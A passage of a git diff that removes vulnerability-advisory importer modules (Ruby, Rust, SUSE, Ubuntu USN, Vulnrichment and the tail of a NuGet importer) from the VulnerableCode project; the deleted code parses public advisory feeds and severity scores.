- if not name: - continue - affected_version_range = None - fixed_version = None - if pkg.get("affected"): - affected_version_range = NugetVersionRange.from_versions([pkg["affected"]]) - if pkg.get("fix"): - fixed_version = NugetVersion(pkg["fix"]) - if not affected_version_range and not fixed_version: - continue - affected_packages.append( - AffectedPackage( - package=PackageURL(name=name, type="nuget"), - affected_version_range=affected_version_range, - fixed_version=fixed_version, - ) - ) - - link = json_doc.get("link") - if link: - vuln_reference = [ - Reference( - url=link, - ) - ] - if alias: - return AdvisoryData( - aliases=[alias], - summary=description, - affected_packages=affected_packages, - references=vuln_reference, - url=advisory_url, - ) diff --git a/vulnerabilities/importers/ruby.py b/vulnerabilities/importers/ruby.py deleted file mode 100644 index 268419587..000000000 --- a/vulnerabilities/importers/ruby.py +++ /dev/null @@ -1,183 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from pathlib import Path -from typing import Iterable - -from dateutil.parser import parse -from packageurl import PackageURL -from pytz import UTC -from univers.version_range import GemVersionRange - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.severity_systems import SCORING_SYSTEMS -from vulnerabilities.utils import build_description -from vulnerabilities.utils import get_advisory_url -from vulnerabilities.utils import load_yaml - -logger = logging.getLogger(__name__) - - -class RubyImporter(Importer): - license_url = "https://github.com/rubysec/ruby-advisory-db/blob/master/LICENSE.txt" - repo_url = "git+https://github.com/rubysec/ruby-advisory-db" - importer_name = "Ruby Importer" - spdx_license_expression = "LicenseRef-scancode-public-domain-disclaimer" - notice = """ - If you submit code or data to the ruby-advisory-db that is copyrighted by - yourself, upon submission you hereby agree to release it into the public - domain. - - The data imported from the ruby-advisory-db have been filtered to exclude - any non-public domain data from the data copyrighted by the Open - Source Vulnerability Database (http://osvdb.org). - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. - """ - - def advisory_data(self) -> Iterable[AdvisoryData]: - try: - self.clone(self.repo_url) - base_path = Path(self.vcs_response.dest_dir) - supported_subdir = ["rubies", "gems"] - for subdir in supported_subdir: - for file_path in base_path.glob(f"{subdir}/**/*.yml"): - if file_path.name.startswith("OSVDB-"): - continue - raw_data = load_yaml(file_path) - advisory_url = get_advisory_url( - file=file_path, - base_path=base_path, - url="https://github.com/rubysec/ruby-advisory-db/blob/master/", - ) - yield parse_ruby_advisory(raw_data, subdir, advisory_url) - finally: - if self.vcs_response: - self.vcs_response.delete() - - -def parse_ruby_advisory(record, schema_type, advisory_url): - """ - Parse a ruby advisory file and return an AdvisoryData or None. - Each advisory file contains the advisory information in YAML format. - Schema: https://github.com/rubysec/ruby-advisory-db/tree/master/spec/schemas - """ - if schema_type == "gems": - package_name = record.get("gem") - - if not package_name: - logger.error("Invalid package name") - else: - purl = PackageURL(type="gem", name=package_name) - - return AdvisoryData( - aliases=get_aliases(record), - summary=get_summary(record), - affected_packages=get_affected_packages(record, purl), - references=get_references(record), - date_published=get_publish_time(record), - url=advisory_url, - ) - - elif schema_type == "rubies": - engine = record.get("engine") # engine enum: [jruby, rbx, ruby] - if not engine: - logger.error("Invalid engine name") - else: - purl = PackageURL(type="ruby", name=engine) - return AdvisoryData( - aliases=get_aliases(record), - summary=get_summary(record), - affected_packages=get_affected_packages(record, purl), - references=get_references(record), - date_published=get_publish_time(record), - url=advisory_url, - ) - - -def get_affected_packages(record, purl): - """ - Return AffectedPackage objects one for each affected_version_range and invert the safe_version_ranges - ( patched_versions , unaffected_versions ) then passing the purl and the inverted safe_version_range - to the AffectedPackage object - """ - safe_version_ranges = record.get("patched_versions", []) - # this case happens when the advisory contain only 'patched_versions' field - # and it has value None(i.e it is empty :( ). - if not safe_version_ranges: - safe_version_ranges = [] - safe_version_ranges += record.get("unaffected_versions", []) - safe_version_ranges = [i for i in safe_version_ranges if i] - - affected_packages = [] - affected_version_ranges = [ - GemVersionRange.from_native(elem).invert() for elem in safe_version_ranges - ] - - for affected_version_range in affected_version_ranges: - affected_packages.append( - AffectedPackage( - package=purl, - affected_version_range=affected_version_range, - ) - ) - return affected_packages - - -def get_aliases(record) -> [str]: - aliases = [] - if record.get("cve"): - aliases.append("CVE-{}".format(record.get("cve"))) - if record.get("osvdb"): - aliases.append("OSV-{}".format(record.get("osvdb"))) - if record.get("ghsa"): - aliases.append("GHSA-{}".format(record.get("ghsa"))) - return aliases - - -def get_references(record) -> [Reference]: - references = [] - cvss_v3 = record.get("cvss_v3") - if record.get("url"): - if not cvss_v3: - references.append(Reference(url=record.get("url"))) - else: - references.append( - Reference( - url=record.get("url"), - severities=[ - VulnerabilitySeverity(system=SCORING_SYSTEMS["cvssv3"], value=cvss_v3) - ], - ) - ) - return references - - -def get_publish_time(record): - date = record.get("date") - if not date: - return - return parse(date).replace(tzinfo=UTC) - - -def get_summary(record): - title = record.get("title") or "" - description = record.get("description") or "" - return build_description(summary=title, description=description) diff --git a/vulnerabilities/importers/rust.py b/vulnerabilities/importers/rust.py deleted file mode 100644 index c61907a82..000000000 --- a/vulnerabilities/importers/rust.py +++ /dev/null @@ -1,241 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import asyncio -from itertools import chain -from typing import List -from typing import Optional -from typing import Set -from typing import Tuple - -import pytz -import toml -from dateutil.parser import parse -from packageurl import PackageURL -from univers.version_range import VersionRange -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.package_managers import CratesVersionAPI -from vulnerabilities.utils import nearest_patched_package - - -class RustImporter(Importer): - def __enter__(self): - super(RustImporter, self).__enter__() - - if not getattr(self, "_added_files", None): - self._added_files, self._updated_files = self.file_changes( - subdir="crates", # TODO Consider importing the advisories for cargo, etc as well. - recursive=True, - file_ext="md", - ) - - @property - def crates_api(self): - if not hasattr(self, "_crates_api"): - setattr(self, "_crates_api", CratesVersionAPI()) - return self._crates_api - - def set_api(self, packages): - asyncio.run(self.crates_api.load_api(packages)) - - def updated_advisories(self) -> Set[AdvisoryData]: - return self._load_advisories(self._updated_files.union(self._added_files)) - - def _load_advisories(self, files) -> Set[AdvisoryData]: - # per @tarcieri It will always be named RUSTSEC-0000-0000.md - # https://github.com/nexB/vulnerablecode/pull/281/files#r528899864 - files = [f for f in files if not f.endswith("-0000.md")] # skip temporary files - packages = self.collect_packages(files) - self.set_api(packages) - - while files: - batch, files = files[: self.batch_size], files[self.batch_size :] - advisories = [] - for path in batch: - advisory = self._load_advisory(path) - if advisory: - advisories.append(advisory) - yield advisories - - def collect_packages(self, paths): - packages = set() - for path in paths: - record = get_advisory_data(path) - packages.add(record["advisory"]["package"]) - - return packages - - def _load_advisory(self, path: str) -> Optional[AdvisoryData]: - record = get_advisory_data(path) - advisory = record.get("advisory", {}) - crate_name = advisory["package"] - references = [] - if advisory.get("url"): - references.append(Reference(url=advisory["url"])) - - publish_date = parse(advisory["date"]).replace(tzinfo=pytz.UTC) - all_versions = self.crates_api.get(crate_name, publish_date).valid_versions - - # FIXME: Avoid wildcard version ranges for now. - # See https://github.com/RustSec/advisory-db/discussions/831 - affected_ranges = [ - VersionRange.from_scheme_version_spec_string("semver", r) - for r in chain.from_iterable(record.get("affected", {}).get("functions", {}).values()) - if r != "*" - ] - - unaffected_ranges = [ - VersionRange.from_scheme_version_spec_string("semver", r) - for r in record.get("versions", {}).get("unaffected", []) - if r != "*" - ] - resolved_ranges = [ - VersionRange.from_scheme_version_spec_string("semver", r) - for r in record.get("versions", {}).get("patched", []) - if r != "*" - ] - - unaffected, affected = categorize_versions( - all_versions, unaffected_ranges, affected_ranges, resolved_ranges - ) - - impacted_purls = [PackageURL(type="cargo", name=crate_name, version=v) for v in affected] - resolved_purls = [PackageURL(type="cargo", name=crate_name, version=v) for v in unaffected] - - cve_id = None - if "aliases" in advisory: - for alias in advisory["aliases"]: - if alias.startswith("CVE-"): - cve_id = alias - break - - references.append( - Reference( - reference_id=advisory["id"], - url="https://rustsec.org/advisories/{}.html".format(advisory["id"]), - ) - ) - - return AdvisoryData( - summary=advisory.get("description", ""), - affected_packages=nearest_patched_package(impacted_purls, resolved_purls), - vulnerability_id=cve_id, - references=references, - ) - - -def categorize_versions( - all_versions: Set[str], - unaffected_version_ranges: List[VersionRange], - affected_version_ranges: List[VersionRange], - resolved_version_ranges: List[VersionRange], -) -> Tuple[Set[str], Set[str]]: - """ - Categorize all versions of a crate according to the given version ranges. - - :return: unaffected versions, affected versions - """ - - unaffected, affected = set(), set() - - if ( - not unaffected_version_ranges - and not affected_version_ranges - and not resolved_version_ranges - ): - return unaffected, affected - - # TODO: This is probably wrong - for version in all_versions: - version_obj = SemverVersion(version) - if affected_version_ranges and all([version_obj in av for av in affected_version_ranges]): - affected.add(version) - elif unaffected_version_ranges and all( - [version_obj in av for av in unaffected_version_ranges] - ): - unaffected.add(version) - elif resolved_version_ranges and all([version_obj in av for av in resolved_version_ranges]): - unaffected.add(version) - - # If some versions were not classified above, one or more of the given ranges might be empty, so - # the remaining versions default to either affected or unaffected. - uncategorized_versions = all_versions - unaffected.union(affected) - if uncategorized_versions: - if not affected_version_ranges: - affected.update(uncategorized_versions) - else: - unaffected.update(uncategorized_versions) - - return unaffected, affected - - -def get_toml_lines(lines): - """ - Yield lines of TOML extracted from an iterable of text ``lines``. - The lines are expected to be from a RustSec Markdown advisory file with - embedded TOML metadata. - - For example:: - - >>> text = ''' - ... ```toml - ... [advisory] - ... id = "RUST-001" - ... - ... [versions] - ... patch = [">= 1.2.1"] - ... ``` - ... # Use-after-free with objects returned by `Stream`'s `get_format_info` - ... - ... Affected versions contained a pair of use-after-free issues with the objects. - ... ''' - >>> list(get_toml_lines(text.splitlines())) - ['', '[advisory]', 'id = "RUST-001"', '', '[versions]', 'patch = [">= 1.2.1"]'] - """ - - for line in lines: - line = line.strip() - if line.startswith("```toml"): - continue - elif line.endswith("```"): - break - else: - yield line - - -def data_from_toml_lines(lines): - """ - Return a mapping of data from an iterable of TOML text ``lines``. - - For example:: - - >>> lines = ['[advisory]', 'id = "RUST1"', '', '[versions]', 'patch = [">= 1"]'] - >>> data_from_toml_lines(lines) - {'advisory': {'id': 'RUST1'}, 'versions': {'patch': ['>= 1']}} - """ - return toml.loads("\n".join(lines)) - - -def get_advisory_data(location): - """ - Return a mapping of vulnerability data from a RustSec advisory file at - ``location``. - RustSec advisories documents are .md files starting with a block of TOML - identified as the text inside a tripple-backtick TOML block. Per - https://github.com/RustSec/advisory-db#advisory-format: - Advisories are formatted in Markdown with TOML "front matter". - """ - - with open(location) as lines: - toml_lines = get_toml_lines(lines) - return data_from_toml_lines(toml_lines) diff --git a/vulnerabilities/importers/suse_backports.py b/vulnerabilities/importers/suse_backports.py deleted file mode 100644 index e7863e7e7..000000000 --- a/vulnerabilities/importers/suse_backports.py +++ /dev/null @@ -1,71 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import requests -import saneyaml -from bs4 import BeautifulSoup -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.utils import create_etag - - -class SUSEBackportsImporter(Importer): - @staticmethod - def get_all_urls_of_backports(url): - r = requests.get(url) - soup = BeautifulSoup(r.content, "lxml") - for a_tag in soup.find_all("a", href=True): - if a_tag["href"].endswith(".yaml") and a_tag["href"].startswith("backports"): - yield url + a_tag["href"] - - def updated_advisories(self): - advisories = [] - all_urls = self.get_all_urls_of_backports(self.config.url) - for url in all_urls: - if not create_etag(data_src=self, url=url, etag_key="ETag"): - continue - advisories.extend(self.process_file(self._fetch_yaml(url))) - return self.batch_advisories(advisories) - - def _fetch_yaml(self, url): - - try: - resp = requests.get(url) - resp.raise_for_status() - return saneyaml.load(resp.content) - - except requests.HTTPError: - return {} - - @staticmethod - def process_file(yaml_file): - advisories = [] - try: - for pkg in yaml_file[0]["packages"]: - for version in yaml_file[0]["packages"][pkg]["fixed"]: - for vuln in yaml_file[0]["packages"][pkg]["fixed"][version]: - # yaml_file specific data can be added - purl = [ - PackageURL(name=pkg, type="rpm", version=version, namespace="opensuse") - ] - advisories.append( - AdvisoryData( - vulnerability_id=vuln, - resolved_package_urls=purl, - summary="", - impacted_package_urls=[], - ) - ) - except TypeError: - # could've used pass - return advisories - - return advisories diff --git a/vulnerabilities/importers/suse_oval.py b/vulnerabilities/importers/suse_oval.py deleted file mode 100644 index 0722682f7..000000000 --- a/vulnerabilities/importers/suse_oval.py +++ /dev/null @@ -1,69 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -import gzip -import xml.etree.ElementTree as ET - -import requests -from bs4 import BeautifulSoup - -from vulnerabilities.importer import OvalImporter - - -class SuseOvalImporter(OvalImporter): - spdx_license_expression = "CC-BY-4.0" - license_url = "https://ftp.suse.com/pub/projects/security/oval/LICENSE" - base_url = "https://ftp.suse.com/pub/projects/security/oval/" - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.translations = {"less than": "<", "equals": "=", "greater than or equal": ">="} - - def _fetch(self): - page = requests.get(self.base_url).text - soup = BeautifulSoup(page, "lxml") - - suse_oval_files = [ - self.base_url + node.get("href") - for node in soup.find_all("a") - if node.get("href").endswith(".gz") - ] - - for suse_file in filter(suse_oval_files): - response = requests.get(suse_file) - - extracted = gzip.decompress(response.content) - yield ( - {"type": "rpm", "namespace": "opensuse"}, - ET.ElementTree(ET.fromstring(extracted.decode("utf-8"))), - ) - - -def filter(suse_oval_files): - """ - Filter to exclude "name.xml" when we also have "name-affected.xml", e.g., - "opensuse.leap.15.3.xml.gz" vs. "opensuse.leap.15.3-affected.xml.gz". See - https://ftp.suse.com/pub/projects/security/oval/README: "name-affected.xml" includes - "fixed security issues and the analyzed issues both affecting and NOT affecting SUSE" and - "name.xml" includes "fixed security issues and the analyzed issues NOT affecting SUSE." - """ - affected_files = [ - affected_file for affected_file in suse_oval_files if "-affected" in affected_file - ] - - trimmed_affected_files = [ - affected_file.replace("-affected", "") for affected_file in affected_files - ] - - filtered_suse_oval_files = [ - gz_file for gz_file in suse_oval_files if gz_file not in trimmed_affected_files - ] - - return filtered_suse_oval_files diff --git a/vulnerabilities/importers/suse_scores.py b/vulnerabilities/importers/suse_scores.py deleted file mode 100644 index b7f2089ac..000000000 --- a/vulnerabilities/importers/suse_scores.py +++ /dev/null @@ -1,64 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from typing import Iterable - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.utils import fetch_yaml -from vulnerabilities.utils import is_cve - -URL = "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" - - -class SUSESeverityScoreImporter(Importer): - - spdx_license_expression = "CC-BY-4.0" - license_url = "https://ftp.suse.com/pub/projects/security/yaml/LICENSE" - importer_name = "SUSE Severity Score Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - score_data = fetch_yaml(URL) - yield from self.to_advisory(score_data) - - def to_advisory(self, score_data): - systems_by_version = { - "2.0": severity_systems.CVSSV2, - "3": severity_systems.CVSSV3, - "3.1": severity_systems.CVSSV31, - } - - for cve_id in score_data or []: - severities = [] - for cvss_score in score_data[cve_id].get("cvss") or []: - cvss_version = cvss_score.get("version") or "" - scoring_system = systems_by_version.get(cvss_version) - if not scoring_system: - continue - base_score = str(cvss_score.get("score") or "") - vector = str(cvss_score.get("vector") or "") - score = VulnerabilitySeverity( - system=scoring_system, - value=base_score, - scoring_elements=vector, - ) - severities.append(score) - - if not is_cve(cve_id): - continue - - yield AdvisoryData( - aliases=[cve_id], - summary="", - references=[Reference(url=URL, severities=severities)], - url=URL, - ) diff --git a/vulnerabilities/importers/ubuntu_usn.py b/vulnerabilities/importers/ubuntu_usn.py deleted file mode 100644 index 1aa247ec6..000000000 --- a/vulnerabilities/importers/ubuntu_usn.py +++ /dev/null @@ -1,103 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import bz2 -import json - -import requests - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import is_cve - - -class UbuntuUSNImporter(Importer): - db_url = "https://usn.ubuntu.com/usn-db/database-all.json.bz2" - spdx_license_expression = "LicenseRef-scancode-other-permissive" - notice = """ - From: Seth Arnold - Date: Wed, Jan 25, 2023 at 2:02 AM - Subject: Re: [ubuntu-hardened] Usage of Ubuntu Security Data in VulnerableCode - To: Tushar Goel - Cc: , Philippe Ombredanne , jmhoran@nexb.com - - - On Wed, Jan 11, 2023 at 06:27:38PM +0530, Tushar Goel wrote: - > We would like to integrate the Ubuntu usn data[1][2] and - > Ubuntu security data (OVAL format)[3] in vulnerablecode[4] - > which is a FOSS db of FOSS vulnerability data. We were not - > able to know under which license this security data comes. - > We would be grateful to have your acknowledgement over usage of - > the ubuntu security data in vulnerablecode and have - > some kind of licensing declaration from your side. - - Hello Tushar, we do not have an explicit license on this data. - - We share our data with the intention that others will use it. Please - feel free to use it for the general furtherance of security. - - Much of the data that's contained within our databases is sourced from - third parties, who also shared their data with the intention that others - will use it. I'm not sure what it would look like to try to put a license - on data that is crowd-sourced from thousands of contributors. (If you were - to start such a project today, it'd probably be one of the first things to - formalize. But when CVE was started two decades ago, the primary goal was - sharing knowledge and simplifying the vulnerability remediation process, - and licensing the data was, as far as I can remember, not considered. - Sharing was the goal.) - - I will ask that vulnerablecode 'be nice' to our infrastructure that - hosts the databases -- some automated uses of our infrastructure by - vulnerability scanner tools has lead to significant load and engineering - effort. In general, please prefer a small handful of systems updating - mirrors roughly twice a day rather than thousands of hosts pulling - data hourly. - - Thanks - """ - importer_name = "Ubuntu USN Importer" - - def advisory_data(self): - usn_db = fetch(self.db_url) - yield from self.to_advisories(usn_db=usn_db) - - def to_advisories(self, usn_db): - for usn in usn_db: - usn_data = usn_db[usn] - usn_reference = get_usn_reference(usn_data.get("id")) - usn_references = [] - if usn_reference: - usn_references = [usn_reference] - for cve in usn_data.get("cves", []): - # The db sometimes contains entries like - # {'cves': ['python-pgsql vulnerabilities', 'CVE-2006-2313', 'CVE-2006-2314']} - # This `if` filters entries like 'python-pgsql vulnerabilities' - if not is_cve(cve): - continue - - yield AdvisoryData( - aliases=[cve], - summary="", - references=usn_references, - url=usn_reference.url or self.db_url, - ) - - -def get_usn_reference(usn_id): - if not usn_id: - return None - return Reference(reference_id=f"USN-{usn_id}", url=f"https://usn.ubuntu.com/{usn_id}/") - - -def fetch(url): - response = requests.get(url).content - raw_data = bz2.decompress(response) - - return json.loads(raw_data) diff --git a/vulnerabilities/importers/vulnrichment.py b/vulnerabilities/importers/vulnrichment.py deleted file mode 100644 index 9eb4d3bcb..000000000 --- a/vulnerabilities/importers/vulnrichment.py +++ /dev/null @@ -1,300 +0,0 @@ -import json -import logging -import re -from pathlib import Path -from typing import Iterable - -import dateparser - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.severity_systems import SCORING_SYSTEMS -from vulnerabilities.utils import get_advisory_url -from vulnerabilities.utils import get_cwe_id -from vulnerabilities.utils import get_reference_id - -logger = logging.getLogger(__name__) - - -class VulnrichImporter(Importer): - spdx_license_expression = "CC0-1.0" - license_url = "https://github.com/cisagov/vulnrichment/blob/develop/LICENSE" - repo_url = "git+https://github.com/cisagov/vulnrichment.git" - importer_name = "Vulnrichment" - - def advisory_data(self) -> Iterable[AdvisoryData]: - try: - vcs_response = self.clone(repo_url=self.repo_url) - base_path = Path(vcs_response.dest_dir) - for file_path in base_path.glob(f"**/**/*.json"): - if not file_path.name.startswith("CVE-"): - continue - - with open(file_path) as f: - raw_data = json.load(f) - - advisory_url = get_advisory_url( - file=file_path, - base_path=base_path, - url="https://github.com/cisagov/vulnrichment/blob/develop/", - ) - yield parse_cve_advisory(raw_data, advisory_url) - finally: - if self.vcs_response: - self.vcs_response.delete() - - -def parse_cve_advisory(raw_data, advisory_url): - """ - Parse a vulnrichment advisory file and return an `AdvisoryData` object. - The files are in JSON format, and a JSON schema is documented at the following location: - https://github.com/CVEProject/cve-schema/blob/main/schema/CVE_Record_Format.json - """ - # Extract CVE Metadata - cve_metadata = raw_data.get("cveMetadata", {}) - cve_id = cve_metadata.get("cveId") - state = cve_metadata.get("state") - - date_published = cve_metadata.get("datePublished") - if date_published: - date_published = dateparser.parse(date_published) - - # Extract containers - containers = raw_data.get("containers", {}) - cna_data = containers.get("cna", {}) - adp_data = containers.get("adp", {}) - - # Extract descriptions - summary = "" - description_list = cna_data.get("descriptions", []) - for description_dict in description_list: - if not description_dict.get("lang") in ["en", "en-US"]: - continue - summary = description_dict.get("value") - - # Extract metrics - severities = [] - metrics = cna_data.get("metrics", []) + [ - adp_metrics for data in adp_data for adp_metrics in data.get("metrics", []) - ] - - vulnrichment_scoring_system = { - "cvssV4_0": SCORING_SYSTEMS["cvssv4"], - "cvssV3_1": SCORING_SYSTEMS["cvssv3.1"], - "cvssV3_0": SCORING_SYSTEMS["cvssv3"], - "cvssV2_0": SCORING_SYSTEMS["cvssv2"], - "other": { - "ssvc": SCORING_SYSTEMS["ssvc"], - }, # ignore kev - } - - for metric in metrics: - for metric_type, metric_value in metric.items(): - if metric_type not in vulnrichment_scoring_system: - continue - - if metric_type == "other": - other_types = metric_value.get("type") - if other_types == "ssvc": - content = metric_value.get("content", {}) - vector_string, decision = ssvc_calculator(content) - scoring_system = vulnrichment_scoring_system[metric_type][other_types] - severity = VulnerabilitySeverity( - system=scoring_system, value=decision, scoring_elements=vector_string - ) - severities.append(severity) - # ignore kev - else: - vector_string = metric_value.get("vectorString") - base_score = metric_value.get("baseScore") - scoring_system = vulnrichment_scoring_system[metric_type] - severity = VulnerabilitySeverity( - system=scoring_system, value=base_score, scoring_elements=vector_string - ) - severities.append(severity) - - # Extract references cpes and ignore affected products - cpes = set() - for affected_product in cna_data.get("affected", []): - if type(affected_product) != dict: - continue - cpes.update(affected_product.get("cpes") or []) - - references = [] - for ref in cna_data.get("references", []): - # https://github.com/CVEProject/cve-schema/blob/main/schema/tags/reference-tags.json - # We removed all unwanted reference types and set the default reference type to 'OTHER'. - ref_type = VulnerabilityReference.OTHER - vul_ref_types = { - "exploit": VulnerabilityReference.EXPLOIT, - "issue-tracking": VulnerabilityReference.BUG, - "mailing-list": VulnerabilityReference.MAILING_LIST, - "third-party-advisory": VulnerabilityReference.ADVISORY, - "vendor-advisory": VulnerabilityReference.ADVISORY, - "vdb-entry": VulnerabilityReference.ADVISORY, - } - - for tag_type in ref.get("tags", []): - if tag_type in vul_ref_types: - ref_type = vul_ref_types.get(tag_type) - - url = ref.get("url") - reference = Reference( - reference_id=get_reference_id(url), - url=url, - reference_type=ref_type, - severities=severities, - ) - - references.append(reference) - - cpes_ref = [ - Reference( - reference_id=cpe, - reference_type=VulnerabilityReference.OTHER, - url=f"https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query={cpe}", - ) - for cpe in sorted(list(cpes)) - ] - references.extend(cpes_ref) - - weaknesses = set() - for problem_type in cna_data.get("problemTypes", []): - descriptions = problem_type.get("descriptions", []) - for description in descriptions: - cwe_id = description.get("cweId") - if cwe_id: - weaknesses.add(get_cwe_id(cwe_id)) - - description_text = description.get("description") - if description_text: - pattern = r"CWE-(\d+)" - match = re.search(pattern, description_text) - if match: - weaknesses.add(int(match.group(1))) - - return AdvisoryData( - aliases=[cve_id], - summary=summary, - references=references, - date_published=date_published, - weaknesses=sorted(weaknesses), - url=advisory_url, - ) - - -def ssvc_calculator(ssvc_data): - """ - Return the ssvc vector and the decision value - """ - options = ssvc_data.get("options", []) - timestamp = ssvc_data.get("timestamp") - - # Extract the options into a dictionary - options_dict = {k: v.lower() for option in options for k, v in option.items()} - - # We copied the table value from this link. - # https://www.cisa.gov/sites/default/files/publications/cisa-ssvc-guide%20508c.pdf - - # Determining Mission and Well-Being Impact Value - mission_well_being_table = { - # (Mission Prevalence, Public Well-being Impact) : "Mission & Well-being" - ("minimal", "minimal"): "low", - ("minimal", "material"): "medium", - ("minimal", "irreversible"): "high", - ("support", "minimal"): "medium", - ("support", "material"): "medium", - ("support", "irreversible"): "high", - ("essential", "minimal"): "high", - ("essential", "material"): "high", - ("essential", "irreversible"): "high", - } - - if "Mission Prevalence" not in options_dict: - options_dict["Mission Prevalence"] = "minimal" - - if "Public Well-being Impact" not in options_dict: - options_dict["Public Well-being Impact"] = "material" - - options_dict["Mission & Well-being"] = mission_well_being_table[ - (options_dict["Mission Prevalence"], options_dict["Public Well-being Impact"]) - ] - - decision_key = ( - options_dict.get("Exploitation"), - options_dict.get("Automatable"), - options_dict.get("Technical Impact"), - options_dict.get("Mission & Well-being"), - ) - - decision_points = { - "Exploitation": {"E": {"none": "N", "poc": "P", "active": "A"}}, - "Automatable": {"A": {"no": "N", "yes": "Y"}}, - "Technical Impact": {"T": {"partial": "P", "total": "T"}}, - "Public Well-being Impact": {"B": {"minimal": "M", "material": "A", "irreversible": "I"}}, - "Mission Prevalence": {"P": {"minimal": "M", "support": "S", "essential": "E"}}, - "Mission & Well-being": {"M": {"low": "L", "medium": "M", "high": "H"}}, - } - - # Create the SSVC vector - ssvc_vector = "SSVCv2/" - for key, value_map in options_dict.items(): - options_key = decision_points.get(key) - for lhs, rhs_map in options_key.items(): - ssvc_vector += f"{lhs}:{rhs_map.get(value_map)}/" - - # "Decision": {"D": {"Track": "T", "Track*": "R", "Attend": "A", "Act": "C"}}, - decision_values = {"Track": "T", "Track*": "R", "Attend": "A", "Act": "C"} - - decision_lookup = { - ("none", "no", "partial", "low"): "Track", - ("none", "no", "partial", "medium"): "Track", - ("none", "no", "partial", "high"): "Track", - ("none", "no", "total", "low"): "Track", - ("none", "no", "total", "medium"): "Track", - ("none", "no", "total", "high"): "Track*", - ("none", "yes", "partial", "low"): "Track", - ("none", "yes", "partial", "medium"): "Track", - ("none", "yes", "partial", "high"): "Attend", - ("none", "yes", "total", "low"): "Track", - ("none", "yes", "total", "medium"): "Track", - ("none", "yes", "total", "high"): "Attend", - ("poc", "no", "partial", "low"): "Track", - ("poc", "no", "partial", "medium"): "Track", - ("poc", "no", "partial", "high"): "Track*", - ("poc", "no", "total", "low"): "Track", - ("poc", "no", "total", "medium"): "Track*", - ("poc", "no", "total", "high"): "Attend", - ("poc", "yes", "partial", "low"): "Track", - ("poc", "yes", "partial", "medium"): "Track", - ("poc", "yes", "partial", "high"): "Attend", - ("poc", "yes", "total", "low"): "Track", - ("poc", "yes", "total", "medium"): "Track*", - ("poc", "yes", "total", "high"): "Attend", - ("active", "no", "partial", "low"): "Track", - ("active", "no", "partial", "medium"): "Track", - ("active", "no", "partial", "high"): "Attend", - ("active", "no", "total", "low"): "Track", - ("active", "no", "total", "medium"): "Attend", - ("active", "no", "total", "high"): "Act", - ("active", "yes", "partial", "low"): "Attend", - ("active", "yes", "partial", "medium"): "Attend", - ("active", "yes", "partial", "high"): "Act", - ("active", "yes", "total", "low"): "Attend", - ("active", "yes", "total", "medium"): "Act", - ("active", "yes", "total", "high"): "Act", - } - - decision = decision_lookup.get(decision_key, "") - - if decision: - ssvc_vector += f"D:{decision_values.get(decision)}/" - - if timestamp: - timestamp_formatted = 